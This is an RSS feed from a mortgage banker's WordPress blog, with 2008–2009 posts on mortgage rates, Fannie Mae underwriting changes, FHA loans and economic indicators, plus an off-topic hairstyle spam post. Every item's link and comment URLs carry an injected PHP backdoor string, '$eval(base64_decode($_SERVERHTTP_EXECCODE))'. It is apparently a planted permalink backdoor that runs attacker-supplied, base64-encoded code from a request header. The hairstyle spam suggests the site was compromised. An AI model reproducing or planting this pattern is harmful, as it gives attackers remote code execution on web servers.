<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>New Hairstyles, Latest Hairstyles, Hairstyles Gallery, Best Websites &#187; Breaking Mortgage News</title>
	<atom:link href="http://www.grauteam.com/category/breaking-mortgage-news/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.grauteam.com</link>
	<description>New Hairstyles, Latest Hairstyles, Hairstyles Gallery, Best Websites</description>
	<lastBuildDate>Mon, 22 Feb 2010 21:51:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Ashlee Simpson Hairstyles</title>
		<link>http://www.grauteam.com/2009/08/17/ashlee-simpson-hairstyles/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2009/08/17/ashlee-simpson-hairstyles/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 17 Aug 2009 21:14:14 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Celebrity Hairstyle]]></category>
		<category><![CDATA[Daily Economic Indicators]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Market Research]]></category>
		<category><![CDATA[ashlee simpson]]></category>
		<category><![CDATA[celebrity]]></category>
		<category><![CDATA[hairstyles]]></category>

		<guid isPermaLink="false">http://www.grauteam.com/?p=356</guid>
		<description><![CDATA[One of the most popular looks for teen hairstyles today is ashlee simpson hairstyles.  She has had so many different looks through the years.  There is not wonder she is such a trendsetter.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.ashleesimpsonhairstyles.com/"><img class="alignnone" title="Ashlee Simpson Hairstyles" src="http://www.ashleesimpsonhairstyles.com/wp-content/uploads/2009/11/Ashlee-Simpson-Long-Blonde-n-Wavy.jpg" alt="" width="400" height="600" /></a></p>
<p>One of the most popular looks for <a href="http://www.ashleesimpsonhairstyles.com">teen hairstyles</a> today is <a href="http://www.ashleesimpsonhairstyles.com">ashlee simpson hairstyles</a>.  She has had so many different looks through the years.  There is not wonder she is such a trendsetter.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2009/08/17/ashlee-simpson-hairstyles/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bonds +150bp 30 Year Fixed 5.875%</title>
		<link>http://www.grauteam.com/2008/09/08/bonds-150bp-30-year-fixed-5875/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/09/08/bonds-150bp-30-year-fixed-5875/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 08 Sep 2008 19:12:36 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Breaking Mortgage News]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Mortgage Rates Predictions]]></category>
		<category><![CDATA[Government Takeover]]></category>

		<guid isPermaLink="false">http://www.grauteam.com/?p=302</guid>
		<description><![CDATA[RATES ARE COMING DOWN!! The Government takeover of Fannie Mae and Freddie Mac is making its mark on the bond market.  Mortgage Backed Securities are up +150bp!  Fannie Mae mortgage bonds now are guaranteed by the US Government and investors are buying them up.  This should help drive down mortgage rates and hopefully get the [...]]]></description>
			<content:encoded><![CDATA[<h3><img src="http://www.grauteam.com/wp-content/uploads/2008/05/down.jpg" alt="Rates are Trending Lower" width="50" height="75" />RATES ARE COMING DOWN!!</h3>
<p style="text-align: justify;">The Government takeover of Fannie Mae and Freddie Mac is making its mark on the bond market.  Mortgage Backed Securities are up +150bp!  Fannie Mae mortgage bonds now are guaranteed by the US Government and investors are buying them up.  This should help drive down mortgage rates and hopefully get the housing marketing moving again.  With Mortgage Bonds being such a hot commodity the US Government now will need some low risk mortgages to secure them against.  I do not personally believe the mortgage crisis is over, but low mortgage rates can&#8217;t hurt our industry!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/09/08/bonds-150bp-30-year-fixed-5875/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Balance of Trade</title>
		<link>http://www.grauteam.com/2008/06/10/balance-of-trade-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/06/10/balance-of-trade-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 10 Jun 2008 16:47:03 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Daily Economic Indicators]]></category>
		<category><![CDATA[Balance of Trade]]></category>
		<category><![CDATA[Economic Indicators]]></category>

		<guid isPermaLink="false">http://www.grauteam.com/2008/06/10/balance-of-trade-2/</guid>
		<description><![CDATA[Balance of Trade April &#124; -$60,900,000,000 &#124; E -$59,500,000,000 &#124; P -$58,200,000,000 &#124; modest]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.grauteam.com/2008/03/04/balance-of-trade/" title="Balance of Trade"><font color="#4478a0">Balance of Trade</font></a> April | <strong><font color="#ff0000">-$60,900,000,000</font></strong> | E -$59,500,000,000 | P -$58,200,000,000 | modest</p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/06/10/balance-of-trade-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Economic Indicators June 06</title>
		<link>http://www.grauteam.com/2008/06/06/economic-indicators-june-06/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/06/06/economic-indicators-june-06/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 06 Jun 2008 14:33:11 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Daily Economic Indicators]]></category>
		<category><![CDATA[Economic Indicators]]></category>

		<guid isPermaLink="false">http://www.grauteam.com/2008/06/06/economic-indicators-june-06/</guid>
		<description><![CDATA[Non-Farm Payrolls May &#124; -49,000 &#124; E -60,000 &#124; P -20.000 &#124; Elevated Unemployment Rate May &#124; 5.5% &#124; E 5.1% &#124; P 5.0% &#124; Elevated Average Work Week May &#124; ? &#124; E 33.7 &#124; P 33.7 &#124; Elevated Hourly Earnings May &#124; 0.3% &#124; E 0.2% &#124; P 0.1% &#124; Elevated]]></description>
			<content:encoded><![CDATA[<p align="justify"><a href="http://www.grauteam.com/2008/03/04/employment-situation-summary-or-employment-report/" title="Employment Report"><strong><font color="#4478a0">Non-Farm Payrolls</font></strong></a><strong> May | <font color="#008000">-49,000</font> | E -60,000 | P -20.000 | <font color="#ff0000">Elevated</font></strong></p>
<p align="justify"><a href="http://www.grauteam.com/2008/03/04/employment-situation-summary-or-employment-report/" title="Employment Report"><strong><font color="#4478a0">Unemployment Rate</font></strong></a><strong> May | <font color="#ff0000">5.5%</font> | E 5.1% | P 5.0% | <font color="#ff0000">Elevated</font></strong></p>
<p align="justify"><a href="http://www.grauteam.com/2008/03/04/employment-situation-summary-or-employment-report/" title="Employment Report"><strong><font color="#4478a0">Average Work Week</font></strong></a><strong> May | ? | E 33.7 | P 33.7 | <font color="#ff0000">Elevated</font></strong></p>
<p align="justify"><a href="http://www.grauteam.com/2008/03/04/employment-situation-summary-or-employment-report/" title="Employment Report"><strong><font color="#4478a0">Hourly Earnings</font></strong></a><strong> May | <font color="#008000">0.3%</font> | E 0.2% | P 0.1% | <font color="#ff0000">Elevated</font></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/06/06/economic-indicators-june-06/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fannie Mae DU 7.0 is here, Lower Risk Lower Rate</title>
		<link>http://www.grauteam.com/2008/05/30/fannie-mae-du-70-is-here-the-mortgage-crisis-isnt-over/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/05/30/fannie-mae-du-70-is-here-the-mortgage-crisis-isnt-over/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 30 May 2008 22:56:42 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Breaking Mortgage News]]></category>
		<category><![CDATA[Fannie Mae Updates]]></category>
		<category><![CDATA[Mortgage Crisis not over yet]]></category>

		<guid isPermaLink="false">http://www.grauteam.com/2008/05/30/fannie-mae-du-70-is-here-the-mortgage-crisis-isnt-over/</guid>
		<description><![CDATA[Fannie Mae Desktop Underwriter 7.0 is here! In order to approve most mortgage loans, bankers submit their client&#8217;s loan application to Fannie Mae&#8217;s computer underwriting software.  Desktop Underwriter or DU is the name of the underwriting engine.  DU calculates all of a client&#8217;s risk factors to see if they are a good candidate for lending.  As I [...]]]></description>
			<content:encoded><![CDATA[<h1><img src="http://www.grauteam.com/wp-content/uploads/2008/05/fanniemae.gif" alt="Fannie Mae Mortgage" /></h1>
<h3>Fannie Mae Desktop Underwriter 7.0 is here!</h3>
<p align="justify">In order to approve most mortgage loans, bankers submit their client&#8217;s loan application to Fannie Mae&#8217;s computer underwriting software.  Desktop Underwriter or DU is the name of the underwriting engine.  DU calculates all of a client&#8217;s risk factors to see if they are a good candidate for lending.  <strong>As I always say the lower the risk, the lower the rate</strong>!  In the newest update to DU certain risk factors are now considered higher risk than before.  This means that is will be even harder for most people to be financed and not possible for many.  Below are the highlights of tightened underwriting policy.</p>
<ul>
<li>
<p align="justify"><strong><font color="#000000">Mortgage Insurance</font></strong> will no longer be considered a risk factor.  DU previously considered the presence of Mortgage Insurance as lower risk.  The amount of equity or down payment is still one of the highest weighted risk factors.</p>
</li>
<li>
<p align="justify"><strong>Purchase vs. Refinance.</strong>  Purchases are still considered lower risk than refinances.  DU did factor in the unpaid principle balance [the amount you currently owe] increasing as higher risk.  Now DU will look only at the amount of cash-out when weighing risk.  Cash-out Refinances are higher risk than Limited Cash-out refinance [refinances the just lower your rate or term].</p>
</li>
<li>
<p align="justify"><strong>Loan Term.</strong>  DU considers shortening a mortgages term as a good risk.  Fannie will continue to consider a shorten term lower risk, but no longer groups it with Loan to Value.</p>
</li>
<li>
<p align="justify"><strong>Loan Type.</strong>  Interest Only Mortgages are now considered much higher risk then normal amortizing loans.  The new order of RISK is 30-5 Year Fixed Rate, 5-10 Year Adjustable Rate, 6m-3 Year Adjustable Rate and Interest Only Fixed Mortgages, and lastly Interest Only ARM&#8217;s and Balloon Mortgages.</p>
</li>
<li>
<p align="justify"><strong>A Minimum Credit Score of 580</strong> is required.  As long as Mortgage Insurance was not an issue, lower credit scores were allowed on Fannie Mae Refinances and Purchases.  Now 580 is the floor.</p>
</li>
<li>
<p align="justify"><strong>Property Type.</strong>  Property Type has become a higher risk factor in today&#8217;s market.  Condos are higher risk than once thought.  The new RISK order is Single Family properties not in a co-op or attached, Attached Condominiums and Two-Unit properties, Three to Four Unit homes, then lastly Manufactured Homes.</p>
</li>
<li>
<p align="justify"><strong>Self Employment</strong> is no longer considered a risk factor.</p>
</li>
<li>
<p align="justify"><strong>Expense Ratio.</strong>  Clients could approve up to 65% Debt to Income previously.  Now debt ratios above 45% will be difficult to approve.</p>
</li>
<li>
<p align="justify"><strong>A Previous Foreclosure</strong> used to prevent clients from buying for 2 years.  Fannie Mae now requires 5 years out of foreclosure before being able to approve for financing.</p>
</li>
</ul>
<p align="justify">Fannie Mae has been trying to clean up its mortgage portfolio ever since the Mortgage Crisis started.  These updates are the next step in lowering their overall risk. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/05/30/fannie-mae-du-70-is-here-the-mortgage-crisis-isnt-over/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gift Ideas that make your Dreams come true</title>
		<link>http://www.grauteam.com/2008/04/16/gift-ideas-that-make-your-dreams-come-true/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/04/16/gift-ideas-that-make-your-dreams-come-true/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 16 Apr 2008 19:26:12 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Breaking Mortgage News]]></category>
		<category><![CDATA[0% down]]></category>
		<category><![CDATA[dreams]]></category>
		<category><![CDATA[gift ideas]]></category>
		<category><![CDATA[gift ideas that sell]]></category>

		<guid isPermaLink="false">http://grauteam.com/2008/04/16/gift-ideas-that-make-your-dreams-come-true/</guid>
		<description><![CDATA[Sellers don&#8217;t need any more creative gift ideas, the gift of 100% financing is in their hands! We can offer 0% Down 30 Year Fixed Mortgages @ 6.500% when sellers gift their buyers down payment. No Minimum Buyer Contribution Low Mortgage Insurance Sellers can credit 3% for closing cost Sellers must credit 3-10% for down payment Up [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://grauteam.com/wp-content/uploads/2008/04/100-web.jpg" alt="Dream Interpretation" /></p>
<p>Sellers don&#8217;t need any more creative gift ideas, the gift of 100% financing is in their hands!</p>
<p><strong>We can offer 0% Down 30 Year Fixed Mortgages @ 6.500% when sellers gift their buyers down payment.</strong></p>
<ul>
<li><strong>No Minimum Buyer Contribution</strong></li>
<li><strong>Low Mortgage Insurance</strong></li>
<li><strong>Sellers can credit 3% for closing cost</strong></li>
<li><strong>Sellers must credit 3-10% for down payment</strong></li>
<li><strong>Up to $281,250</strong></li>
<li><strong>No Pre-Payment Penalty</strong></li>
<li><strong>Minimum Credit Score 580</strong></li>
</ul>
<p>Tell your Friends!</p>
<p><a href="http://grauteam.com/wp-content/uploads/2008/04/100-letter.jpg" title="Gift Ideas"><img src="http://grauteam.com/wp-content/uploads/2008/04/100-letter.thumbnail.jpg" alt="Gift Ideas" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/04/16/gift-ideas-that-make-your-dreams-come-true/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>St. Louis Second Mortgages &#124; 2nd Mortgage Rates 6.180%</title>
		<link>http://www.grauteam.com/2008/04/10/st-louis-second-mortgages-2nd-mortgage-rates-6180/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/04/10/st-louis-second-mortgages-2nd-mortgage-rates-6180/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 10 Apr 2008 16:51:55 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Breaking Mortgage News]]></category>
		<category><![CDATA[Downloads]]></category>
		<category><![CDATA[St. Louis Second Mortgage Rates]]></category>
		<category><![CDATA[St. Louis Second Mortgages]]></category>

		<guid isPermaLink="false">http://grauteam.com/2008/04/10/st-louis-second-mortgages-2nd-mortgage-rates-6180/</guid>
		<description><![CDATA[Cornerstone Mortgage has Local Second Mortgage Rates from 6.180%.  The Fixed Second Mortgages are great for avoiding mortgage insurance and jumbo mortgage rates.  We can lend up to 95% loan to value and down to a 640 fico credit score.  The St. Louis Local Second Mortgages are available to $200,000.  Please contact me, Chris Grau, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://grauteam.com/wp-content/uploads/2008/04/st-louis-second-mortgages.jpg" title="St. Louis Second Mortgages"><img width="350" src="http://grauteam.com/wp-content/uploads/2008/04/st-louis-second-mortgages.jpg" alt="St. Louis Second Mortgages" height="453" /></a></p>
<p align="justify">Cornerstone Mortgage has Local Second Mortgage Rates from 6.180%.  The Fixed Second Mortgages are great for avoiding mortgage insurance and jumbo mortgage rates.  We can lend up to 95% loan to value and down to a 640 fico credit score.  The St. Louis Local Second Mortgages are available to $200,000.  Please contact me, Chris Grau, at 314-600-5410 for more information.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/04/10/st-louis-second-mortgages-2nd-mortgage-rates-6180/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FHA &#124; FHA Loans are the future</title>
		<link>http://www.grauteam.com/2008/03/21/fha-fha-loans-are-the-future/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/03/21/fha-fha-loans-are-the-future/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 21 Mar 2008 18:53:06 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Breaking Mortgage News]]></category>
		<category><![CDATA[FHA]]></category>
		<category><![CDATA[FHA loan]]></category>
		<category><![CDATA[FHA loans]]></category>

		<guid isPermaLink="false">http://grauteam.com/2008/03/21/fha-fha-loans-are-the-future/</guid>
		<description><![CDATA[  Even though &#8221;Billions of Dollars&#8221; are being thrown to Fannie Mae and Freddie Mac, it may be a while before we can feel the impact.  The mortgage industry in the Mid-West has been getting more acquainted with the term &#8220;declining market&#8221; in recent weeks.  In order to be sure the home you are buying is not in [...]]]></description>
			<content:encoded><![CDATA[<p align="justify"><a rel="attachment wp-att-173" href="http://grauteam.com/2008/03/21/fha-fha-loans-are-the-future/st-louis-fha/" title="St. Louis FHA"><img src="http://grauteam.com/wp-content/uploads/2008/03/st-louis-fha.gif" alt="St. Louis FHA" /></a> </p>
<p align="justify">Even though &#8221;Billions of Dollars&#8221; are being thrown to Fannie Mae and Freddie Mac, it may be a while before we can feel the impact.  The mortgage industry in the Mid-West has been getting more acquainted with the term &#8220;declining market&#8221; in recent weeks.  In order to be sure the home you are buying is not in a declining market mortgage bankers must cross reference the investors definition, the mortgage insurance company&#8217;s definition, Fannie Mae&#8217;s definition, and the appraisal to be certain.  St. Louis is a conservative market, and most investors are considering us declining.  More inventories from increased foreclosures and restricted lending will certainly continue the &#8220;declining market&#8221; trend, pretty much requiring borrowers to have at least 10% down and 720 credit scores. </p>
<p align="justify"><strong>&#8220;How do I buy a home with 3% down and credit scores in the 600&#8242;s?&#8221;</strong></p>
<p align="justify">The Federal Housing Administration [FHA] has continued aggressive lending requirements.  Approved FHA Mortgage Lenders can offer home buyers the ability to purchase a home with only a 3% minimum investment.  The restrictions for &#8220;declining markets&#8221; are not being felt as strongly with FHA loan programs.  There are no set credit score requirements for FHA lending, but the automated underwriting system does not usually approve under 620 credit scores without substantcial compensating risk factors.  The mortgage insurance monthly premium requirement is less than most Fannie Mae comparable loan programs.  Interest rates for FHA lending has been hovering near 6%.  The FHA loans are definitely the answer for the near future when purchaing a home with less than 20% down.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/03/21/fha-fha-loans-are-the-future/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fed moves to stimulate economy, $200,000,000,000!</title>
		<link>http://www.grauteam.com/2008/03/11/fed-moves-to-stimulate-economy-200000000000/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/03/11/fed-moves-to-stimulate-economy-200000000000/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 11 Mar 2008 17:07:24 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Breaking Mortgage News]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Mortgage Backed Securities]]></category>
		<category><![CDATA[Swiss Bank arrangements]]></category>
		<category><![CDATA[the FED]]></category>

		<guid isPermaLink="false">http://grauteam.com/2008/03/11/fed-moves-to-stimulate-economy-200000000000/</guid>
		<description><![CDATA[  The Federal Reserve announced today that they will expand their securities lending.  The move they have decided to make basically upgrades mortgage backed securtities.  Through the Term Securities Lending Facility the FED loan up to $200 billion worth of Treasury Bonds for terms of 28 days when they are secured with select Mortgage Backed [...]]]></description>
			<content:encoded><![CDATA[<p align="justify"><a rel="attachment wp-att-150" href="http://www.grauteam.com/2008/03/11/fed-moves-to-stimulate-economy-200000000000/the-fed-chairman/" title="The Fed Chairman"></a><a rel="attachment wp-att-150" href="http://www.grauteam.com/2008/03/11/fed-moves-to-stimulate-economy-200000000000/the-fed-chairman/" title="The Fed Chairman"><img src="http://grauteam.com/wp-content/uploads/2008/03/ben-bernanke.jpg" alt="The Fed Chairman" /></a> </p>
<p align="justify">The Federal Reserve announced today that they will expand their securities lending.  The move they have decided to make basically upgrades mortgage backed securtities.  Through the Term Securities Lending Facility the FED loan up to $200 billion worth of Treasury Bonds <span id="more-149"></span>for terms of 28 days when they are secured with select Mortgage Backed Securities.  The FED had only lent overnight up to now.  This is a good move for the economy and in the long term a good move for bonds.  The security this gives the market has pushed the down up +200 points.  The FNMA 30 Year Bond market is trading lower on the day. </p>
<p align="justify">The Fed also has approved reciprocal currency arrangements with the European Central Bank [up to $30,000,000,000] and the Swiss National Bank [up to $2,000,000,000]. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/03/11/fed-moves-to-stimulate-economy-200000000000/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Loan Level Price Adjustments [LLPAs] for &gt;70% LTV</title>
		<link>http://www.grauteam.com/2008/03/07/new-loan-level-price-adjustments-llpas-for-70-ltv/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/03/07/new-loan-level-price-adjustments-llpas-for-70-ltv/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 07 Mar 2008 23:24:09 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Breaking Mortgage News]]></category>
		<category><![CDATA[credit crunch mortgages]]></category>
		<category><![CDATA[Fannie Mae Loans]]></category>
		<category><![CDATA[Low Credit score mortgages]]></category>

		<guid isPermaLink="false">http://grauteam.com/2008/03/07/new-loan-level-price-adjustments-llpas-for-70-ltv/</guid>
		<description><![CDATA[  Yesterday, Fannie Mae &#8220;in light of the continued deterioration in the housing market&#8221; has decided to discourage more people from buying homes.  They will be charging aditonal loan level price adjustments for loans they consider risky.  I have listed some highlights of the new penalties.  When reading the following information it is important to [...]]]></description>
			<content:encoded><![CDATA[<p align="justify"><a rel="attachment wp-att-54" href="http://grauteam.com/2008/02/07/mortgage-insurance-credit-policy-tightens-again/mgic/" title="MGIC"><img src="http://grauteam.com/wp-content/uploads/2008/02/tightening.jpg" alt="MGIC" /></a> </p>
<p align="justify">Yesterday, Fannie Mae &#8220;in light of the continued deterioration in the housing market&#8221; has decided to discourage more people from buying homes.  They will be charging aditonal loan level price adjustments for loans they consider risky.  I have listed some highlights of the new penalties.  When reading the following information it is important to note that each .40-.50 mean an additional .125% <span id="more-146"></span>penalty to your interest rate.  It is important to note that without a 680 credit score, most mortgage insurance companies require 5% down. </p>
<p align="justify">The Loan Level Price Adjustments will make it more important than ever to work with an FHA approved lender.  The Grau Team at Cornerstone Mortgage is able to offer the best FHA rates in the nation.  You can <a href="http://www.cornerstonestl.com/contact/loan_officer.html?key=cgrau" title="Apply for an FHA loan">apply online </a>now to see what we can do for you.</p>
<p align="justify">&nbsp;</p>
<p align="justify"><strong>Loan to Value Penalties for ALL Mortgages</strong></p>
<p align="justify">&gt;720 credit | No Penalty </p>
<p align="justify">680-719 credit | &gt;70% = .500% points <strong>[about +.125%</strong> rate for less than 30% down]</p>
<p align="justify">660-679 credit | &gt;75% = 1.25% points <strong>[about +.375%</strong> rate increase &lt;25% down]</p>
<p align="justify">640-659 credit | &gt;75% = 1.75% points <strong>[about +.500%</strong> rate increase &lt;25% down]</p>
<p align="justify">620-639 credit | &gt;75% = 2.5% points <strong>[about +625%</strong> rate increase &lt;25% down]</p>
<p align="justify">&lt;620 credit | &gt;75% = 2.75% points <strong>[about +725%</strong> rate increase &lt;25% down]</p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/03/07/new-loan-level-price-adjustments-llpas-for-70-ltv/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

